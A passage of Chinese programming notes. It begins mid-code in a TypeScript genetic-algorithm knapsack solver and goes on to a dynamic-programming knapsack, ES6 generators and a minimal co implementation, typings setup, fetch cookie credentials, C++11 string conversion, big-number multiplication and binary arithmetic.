            }else{
                temp.push(0);
            }  
        }
        biosphere.all.push(new backpack(temp));

        }
        },
        /**

      • -轮盘选择法

      • /
        select:(arr)=>{
        let ran=Math.random();
        let psum=0;
        let index=0;
        while(psum<ran){

        psum+=arr[index].p;
        index+=1;

        }
        return index-1;
        },
        /**

      • -清除生命为0的

      • /
        clear:()=>{
        biosphere.all=biosphere.all.filter((x)=>{

        if(x.life==0){
            return false
        }else{return true;}

        })
        },
        /**

      • -迭代

      • /
        iteration:()=>{
        biosphere.clear();
        let allValue=0;
        biosphere.all.forEach((x)=>{

        allValue+=x.value;

        })
        let temp=0;
        var arr=biosphere.all.map((x)=>{

        temp+=x.value;
        x.p=temp/allValue;
        return x;

        })

        biosphere.all=[];
        for(let i=0;i<arr.length;i=i+1.5){

        let index=biosphere.select(arr);
        let index2=biosphere.select(arr);
        backpack.mating(arr[index],arr[index2])

        }

        // biosphere.clear();

        }
        }

      /**-背包类 */
      class backpack
      {
      gene:number[];
      mutationRate:number=0.05;
      value:number=0;
      weight:number=0;
      life=1;
      MaxWeight=10;
      constructor(gene:number[]){

      this.gene=gene.map((x)=>{
          if(Math.random()<this.mutationRate){
              if(x===1){
                  return 0;
              }else{
                  return 1;
              }
          }else{return x;}
      });
      this.gene.forEach((x,index)=>{
          if(x===1){
              this.value+=p[index];
              this.weight+=w[index];
          }
      })
      
      if(this.weight>this.MaxWeight){
          this.life=0;
      }else{
          if(this.value>max){max=this.value;}
      }

      }
      /**

      • 交配函数,需要两个backpa类型,生产2个子代
      • @param {backpack} a -backpack类型
      • @param {backpack} b -backpack类型
      • /
        static mating(a:backpack,b:backpack){
        let start=randInt(a.gene.length);
        let end=randInt(a.gene.length);
        if(end<start){
        let temp;
        temp=end;
        end=start;
        start=temp;
        }
        biosphere.all.push(new backpack(a.gene.slice(0,start).concat(b.gene.slice(start,end).concat(a.gene.slice(end,a.gene.length)))));
        biosphere.all.push(new backpack(b.gene.slice(0,start).concat(a.gene.slice(start,end).concat(b.gene.slice(end,b.gene.length)))))
        a.life=0;
        b.life=0;
        }
        }
        biosphere.init();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        biosphere.iteration();
        console.log(biosphere,max)
  • 动态规划

    let w: number[] = [2, 2, 6, 5, 4];
    let p: number[] = [6, 3, 5, 4, 6];
    let maxW = 10;
    function run(w, p, maxW) {

    let n = w.length;
    let res: number[][]=[];
    for(let i=0;i<=n;i++){
        res.push([])
    }
    w.unshift(0);
    p.unshift(0);
    for (let i = 0; i <= n; i++) {
        for (let j = 0; j <= maxW; j++) {
            if(i==0){
                res[0][j]=0;
            }else{
                if(w[i]>j){
                    res[i][j]=res[i-1][j]
                }else{
                    res[i][j]=Math.max((res[i-1][j-w[i]]+p[i]),res[i-1][j])
                }
    
            }
        }
    }
    console.table(res);

    }
    run(w, p, maxW)

Generator妙用

传统的编程语言,早有异步编程的解决方案。其中有一种叫做”协程”(coroutine),意思是多个线程互相协作,完成异步任务。

Generator 函数是协程在 ES6 的实现,最大特点就是可以交出函数的执行权(即暂停执行)

function* gen(x){
   var y = yield x + 2;
   var z = yield y + 2;
   return z
}
var g = gen(1);
var a=g.next();//运行到,第一个yield处,交出函数的执行权,并返回x+2=3,
var b=g.next(a.value);//要记得把a.value传进去,继续执行赋值语句,此时,yield x + 2 已经被替换成传入a.value,然后同上,运行到yield,交出函数的执行权,并返回yield后面的表达式
var c=g.next();//这里要是不传入参数,则z等undefined,运行到最后,返回undefined

Generator 函数有这样的特效,因此可以把一些异步的函数改变成同步的执行。co最简版实现, yeild后面只支持thunk。

function co(generator) {
  return function(fn) {
    var gen = generator();
    function next(err, result) {
        if(err){
            return fn(err);
        }
        var step = gen.next(result);
        if (!step.done) {
            step.value(next);
        } else {
            fn(null, step.value);
        }
    }
    next();
   }
}
// wrap the function to thunk
function readFile(filename) {
    return function(callback) {
        require('fs').readFile(filename, 'utf8', callback);
    };
}

co(function * () {
    var file1 = yield readFile('./file/a.txt');
    var file2 = yield readFile('./file/b.txt');

    console.log(file1);
    console.log(file2);
    return 'done';
})(function(err, result) {
    console.log(result)
});

typings使用

介绍

typings是tsd的升级版。typings是一个智能代码提示插件。在VS CODE中使用,很方便。对于JS代码,提示是非强制的,只提示。对于ts就会在错误的地方标红。

安装

npm install -g typings

使用

  • 初始化typings init会生成一个typings.json
  • 搜索node提示typings search node
  • 安装node提示typings install dt~node --save --global

启用智能提示功能

1.装好后一般都会提示了。jsconfig.json的exclude属性,不要乱加文件夹,这是一个排除文件的属性,一般把"node_modules/"排除就行。

2.要是不行,只需要在需要提示的文件最上行增加dt文件所在目录,,格式如下:
/// <reference path="./typings/index.d.ts" />

其他

*.d.ts文件就是typescript的各种声明。以前是ts专用的,现在可以用在js智能提示了。

fetch踩坑

今天在用fetch发请求的时候,发现session获取不到,以为express配置问题。检查之后,发现服务器获取不到cookie,在fetch请求中也不能设置cookie,当然session出问题。fetch要加配置credentials: 'include'

。如下:

fetch('/users/login', {
    method: "post",
    headers: {
      'Content-Type':'application/x-www-form-urlencoded;charset=UTF-8'
    }, 
    credentials: 'include',
    body: parseParam(userObj)
  });
fetch('/users/checkLogin',{method:'get',credentials: 'include'});

c++11 int等与string之间的转换

c++11 <string>

增加了全局函数std::to_string,以及std::stoi/stol/stoll等等函数。

to_string(int val)  //int,float,long等转string
int stoi( const std::string& str, size_t *pos = 0, int base = 10 );
size_t string转到的下标,若全部可以转成int,则等于str的大小。
base 就是进制。

stoi

// stoi example
#include <iostream>   // std::cout
#include <string>     // std::string, std::stoi

int main ()
{
  std::string str_dec = "2001, A Space Odyssey";
  std::string str_hex = "40c3";
  std::string str_bin = "-10010110001";
  std::string str_auto = "0x7f";

  std::string::size_type sz;   // alias of size_t

  int i_dec = std::stoi (str_dec,&sz);
  int i_hex = std::stoi (str_hex,nullptr,16);
  int i_bin = std::stoi (str_bin,nullptr,2);
  int i_auto = std::stoi (str_auto,nullptr,0);

  std::cout << str_dec << ": " << i_dec << " and [" << str_dec.substr(sz) << "]\n";
  std::cout << str_hex << ": " << i_hex << '\n';
  std::cout << str_bin << ": " << i_bin << '\n';
  std::cout << str_auto << ": " << i_auto << '\n';

  return 0;
}

Output:

2001, A Space Odyssey: 2001 and [, A Space Odyssey]
40c3:  16579
-10010110001: -1201
0x7f: 127

以前是用的<sstream>,封装成如下,还是好用,但是,会每次转换都会生成一个stream对象。会影响性能。应该调用stream.str("");stream.clear();清空,接着转换。

template<class out_type, class in_value>
out_type convert(const in_value & t)
{
    stringstream stream;
    stream << t;//向流中传值
    out_type result;//这里存储转换结果
    stream >> result;//向result中写入值
    return result;
}

大数乘法

在计算机中,int只有32位,long long也就64位。

#define INT_MIN     (-2147483647 - 1) // minimum (signed) int value
#define INT_MAX       2147483647    // maximum (signed) int value

#define LLONG_MAX     9223372036854775807i64       // maximum signed long long int value
#define LLONG_MIN   (-9223372036854775807i64 - 1)  // minimum signed long long int value

这时碰见更大数怎么办。这里有一种方法,逐位相乘处理进位法.

class Solution2 {
public:
    string multiply(string num1, string num2) {

        reverse(num1.begin(), num1.end());
        reverse(num2.begin(), num2.end());

        int l1 = num1.size();
        int l2 = num2.size();
        string res(l1 + l2 + 1, '0');
        int carr = 0, t, idx;
        for (int i = 0; i < l1; ++i)
        {
            int n1 = num1[i] - '0';
            carr = 0;
            for (int j = 0; j < l2; ++j)
            {
                t = carr + n1 * (num2[j] - '0') + (res[i + j] - '0');
                carr = t / 10;
                res[i + j] = t % 10 + '0';
            }
            idx = l2;
            while (carr != 0)
                if (carr != 0) {
                    t = carr + (res[i + idx] - '0');
                    carr = t / 10;
                    res[i + idx++] = t % 10 + '0';
                }
        }
        while (!res.empty() && res.back() == '0') res.pop_back();
        if (res.empty()) return "0";
        reverse(res.begin(), res.end());
        return res;
    }
};

二进制乘法,除法

1.乘法

由于计算机中,所有数值都是用2的N次方来表示的:2^n0+2^n1+2^n2+2^n3+2^n4…..

因此xy,(x)(2^n0+2^n1+2^n2+2^n3+2^n4)=(x2^n0)+(x2^n1)+(x2^n2)+(x2^n3)+(x*2^n4)+……即(x左移n0)+(x左移n1)+(x左移n2)+(x左移n3)+(x左移n4)+……

用15(x)13(y)来举例,1513 为1111*1101

a.首先y的最低位为1(2^0),x左移0位得到1111

b.然后y的最低第二位为0,没有2^1存在,因此本次无运算(结果可以看作为0)

c.然后y的最低第三位为1(2^2),x左移2位得到111100

d.然后y的最低第四位为1(2^3),x左移3位得到1111000

e.把a、b、c、d的结果相加1111+0+111100+1111000=11000011(195),该结果就是乘法的结果

2.除法(加减交替法)

x/y其实就是,x不断减y的过程。小学时候学的长长除法就是这个原理。

用二进制的除法x/y,比十进制容易写,商不是0即是1,而且如果除数大于除数的1倍,商就是标记在另一个位上面了

用85/6来举例,85/6=1010101/110

a.101(0101)左移1位到第3位都小于110,因此商=000

b.1010(101)左移四位是1010,比110大,商=0001,余数=1010-110=100(101)

c.余数100(101)左移一位是1001,比110大,商=00011,余数=1001-110=11(01)

d.余数11(01)左移一位是110,等于110,商=000111,余数=0(1)

e.余数0(1)左移一位是01,小于110,商=0001110,余数=01

因此85/6=1010101/110=0001110,即14,余数为最后的余数1

计算机乘法除法原理(原码)